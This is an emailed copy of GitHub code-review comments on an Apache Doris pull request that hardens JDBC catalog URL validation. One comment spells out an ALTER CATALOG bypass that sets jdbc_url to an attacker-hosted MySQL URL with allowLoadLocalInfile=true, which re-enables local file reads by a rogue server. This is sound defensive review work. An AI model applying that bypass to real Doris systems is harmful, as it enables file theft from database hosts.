924060929 commented on code in PR #71221:
URL: https://github.com/apache/doris/pull/71221#discussion_r4764058124
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/CatalogFactory.java:
##########
@@ -97,6 +121,10 @@ private static CatalogIf createCatalog(long catalogId,
String name, String resou
catalogType = type.toLowerCase();
}
+ if (!isReplay && "jdbc".equals(catalogType)) {
Review Comment:
[P1] `ALTER CATALOG` completely bypasses this policy, and hard-coding
`"jdbc".equals(catalogType)` here diverges from the plugin security
architecture.
1. **Bypass**: A user can create a JDBC catalog with a benign `jdbc_url`
(and `test_connection=false`), then run `ALTER CATALOG ... SET PROPERTIES
("jdbc_url" = "jdbc:mysql://attacker:3306/db?allowLoadLocalInfile=true")`.
`CatalogMgr.alterCatalogProps` ->
`PluginDrivenExternalCatalog.validatePropertiesBeforeUpdate` never reaches
`CatalogFactory`, and overwriting `jdbc_url` also drops the
`allowLoadLocalInfile=false` appended at CREATE time (re-enabling it by default
on Connector/J 5.1.x).
2. **Architecture**: Rather than hard-coding plugin types and
`JdbcResource.JDBC_URL` in `CatalogFactory`, declare JDBC connection URL keys
via `ConnectorProvider.securitySurface()` and enforce the gate uniformly in
`PluginDrivenExternalCatalog` for both CREATE and ALTER (skipping replay),
matching how `driver_url` and SSRF gates work. For injecting
`allowLoadLocalInfile=false`, consider handling it in `JdbcUrlNormalizer` (or
applying the same preparation on ALTER as well) so it also protects
altered/existing catalogs without mutating persisted user properties.
##########
fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java:
##########
@@ -60,6 +67,31 @@ public final class JdbcDriverUrlSecurity {
// This intentionally forbids any path separator, so it can never escape
the drivers directory.
private static final Pattern SAFE_DRIVER_FILE_NAME =
Pattern.compile("^[A-Za-z0-9._-]+\\.jar$");
+ private static final String MYSQL_PREFIX = "jdbc:mysql";
+ private static final Pattern MYSQL_URL = Pattern.compile(
Review Comment:
[P2] `(?<authority>[^/?#]*)` truncates the authority at the first `/` inside
host properties, rejecting valid URLs with path-valued host options such as
`jdbc:mysql://(host=db.example,sslTrustStore=/etc/certs/ca.jks)/app` with
`Invalid MySQL jdbc_url host properties`. Authority boundary detection should
be aware of parentheses/quotes before stopping at `/`.
##########
fe/fe-common/src/main/java/org/apache/doris/common/ConfigBase.java:
##########
@@ -192,15 +195,22 @@ public void initCustom(String customConfFile) throws
Exception {
if (file.exists() && file.isFile()) {
// customConfFile is introduced in version 0.14, for
compatibility, check if it exist
// config in customConfFile will overwrite the config in confFile
- initConf(customConfFile);
+ initConf(customConfFile, true);
}
}
- private void initConf(String confFile) throws Exception {
+ private void initConf(String confFile, boolean fromCustomFile) throws
Exception {
Properties props = new Properties();
try (FileReader fr = new FileReader(confFile)) {
props.load(fr);
}
+ if (fromCustomFile) {
+ Map<String, Field> configFields = isLdapConfig ? ldapConfFields :
confFields;
+ props.keySet().removeIf(key -> {
Review Comment:
[P2] Silently removing `mainConfigOnly` keys from `fe_custom.conf` without a
warning makes misconfiguration hard to diagnose. Please emit a `LOG.warn` when
ignoring a `mainConfigOnly` key in the custom config file.
##########
fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java:
##########
@@ -99,4 +131,154 @@ public static void check(String driverUrl) {
}
}
}
+
+ /** Validates a MySQL catalog URL and prepares it for Connector/J versions
with different defaults. */
+ public static String prepareMySqlJdbcUrl(String url, String[]
restrictedOptionNames) {
Review Comment:
[P2] `JdbcDriverUrlSecurity` is specifically for `driver_url` (jar
path/traversal validation). Mixing MySQL connection-string (`jdbc_url`) parsing
and rewriting into it blurs class responsibility—please extract a dedicated
class (e.g., `MySqlJdbcUrlSecurity`). Also note that `url.replace(" ", "")`
here is persisted back into catalog properties on CREATE, which can silently
corrupt valid parameter values containing spaces (e.g., passwords).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]